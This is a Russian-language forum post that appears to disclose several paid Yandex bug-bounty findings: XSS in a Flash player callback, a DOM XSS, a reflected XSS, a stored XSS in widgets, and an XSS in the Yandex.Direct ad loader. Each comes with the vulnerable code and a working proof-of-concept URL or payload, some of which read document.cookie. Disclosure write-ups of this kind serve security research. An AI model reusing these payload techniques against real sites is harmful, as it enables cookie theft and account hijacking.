YandexBugBounty
XSS [maps.yandex.ru] /resources/cameras/probki-player.swf (10k рублей)
Параметры callback и player_id попадали в "flash.external.ExternalInterface.call" после прохождения функции validateParam использующей черный список
Код:
internal function validateParam(arg1:String):String
{
var loc1:*=decodeURIComponent(arg1);
var loc2:*=loc1.match(new RegExp("<|>|;|\\(|\\)|\\{|\\}|\\#|\\%|\\@|\\/|\\:|\\|", "g"));
if (loc2 && loc2.length > 0)
{
return "";
}
return arg1;
}
Так как функция не проверяет символ \ возможно сформировать следующий запрос:
Код:
http://maps.yandex.ru/resources/cameras/probki-player.swf?callback=eval&player_id=\141\154\145\162\164\050\144\157\143\165\155\145\156\164\056\143\157\157\153\151\145\051
Результат выполнения ExternalInterface.call:
try { __flash__toXML(eval("\141\154\145\162\164\050\144\157\143\165\155\145\156\164\056\143\157\157\153\151\145\051")); } catch (e) { "<undefined/>"; }
DOM-Based XSS [rabota.yandex.ru] (5k рублей)
При поиске вакансий можно "Подписаться на уведомления о новых объявлениях".
В форме подписки фраза "Вакансии по запросу «[user_search]»" отображалась некорректно, в поисковой строке заменялись только первые включения символов < > &.
Код:
(function() {
function a(b) {
return b.replace("&", "&").replace(">", ">").replace("<", "<")
}
BEM.HTML.decl("b-subscribe-settings-text", {
onBlock: function(b) {
b.content([{
elem: "title",
content: a(b.param("title"))
},
a(b.param("body"))
])
}
})
})();
Правильный вариант:
Код:
return b.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">")
Эксплуатация:
Код:
http://rabota.yandex.ru/search.xml/?text=%3C%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E
XSS [yandex.ru] (20k рублей)
Переменная site попадала в JavaScript без экранирования обратного слеша.
Код:
http://yandex.ru/yandsearch?text=xxx&site=,alert(document.cookie)])//\&lr=51
Результат:
Код:
Lego.oframebust([/^(\w*\.)*yandex.(ru|kz|by|ua|com)\.?$/, "*.,alert(document.cookie)])//\", ",alert(document.cookie)])//\", "*.yandex-team.ru", "compare.yandex.net", /^(\w*\.)*yandex\.com\.tr\.?$/])
Хранимая XSS [wdgt.yandex.ru] (10k рублей)
После создания своего iframe-виджета title попадал в JavaScript без экранирования обратного слеша.
Код:
widget = Widget.Bind("143283-1", {bla:"bla",title: "\\"});alert(document.domain);//",intid: "143283-1",intclassid: "143283"});window.ya && ya.widgets && ya.widgets.instances && ya.widgets.instances.add( widget );
Результат - хранимая XSS на странице редактирования виджета:
Код:
http://wdgt.yandex.ru/widgets/<widget_id>/
А также, не смотря на сообщение о модерации, хранимую XSS можно использовать в атаках на пользователей используя "Ссылку для установки на Яндекс".
Код:
Например: http://www.yandex.ru/?add=<widget_id>&from=promocode
При открытии ссылки установки на Яндекс JavaScript выполнялся в контексте yandex.ru без необходимости нажатия кнопки "Вы действительно хотите добавить этот виджет?"
Яндекс.Директ XSS (31,337k рублей)
Логика работы Яндекс.Директ:
1) Загрузка скрипта-лоадера http://an.yandex.ru/system/context.js
2) Загрузка нужной версии основного скрипта http://an.yandex.ru/resource/context_static_r633.js
3) Отправка запроса
http://an.yandex.ru/page/<page_id>?
target-ref=<referer>&charset=utf-8&grab=..&callback=Ya[1379305496812]
Где target-ref - текущий location.href страницы, на которой установлена реклама от Яндекса
4) Ответ
Код:
Ya[1379305496812]('{ common: ..., direct: { ads: ..., linkHow: ...,
linkAll: {title: "Все объявления",
url: "http://direct.yandex.ru/search?from=http://example.com/?x=\x22\x2balert(1)\x2b\x22&ref-page=108290" }, directTitle: ... }}')
В возвращаемом ответе <target-ref> использовался без экранирования обратного слэша.
5) Таким образом, при таком запросе
http://example.com/?x=
\x22\x2balert(1)\x2b\x22
страницы, на которой расположена реклама от Яндекса, по сути выполнялся следующий JavaScript в контексте этой страницы:
Код:
s = Function(
'return
{common:
{linkAll:
{
title:"Все объявления",
url:"http://direct.yandex.ru/search?from=http://example.com/%3Fx="+alert(1)+"&ref-page=108290"
}
}
};
')();
То есть были подвержены любые сайты, на которых была расположена реклама от Яндекса.
Ну и как бонус, не хочу создавать новую тему:
FoxyCart RCE
http://www.foxycart.com/security-contact
Без комментариев
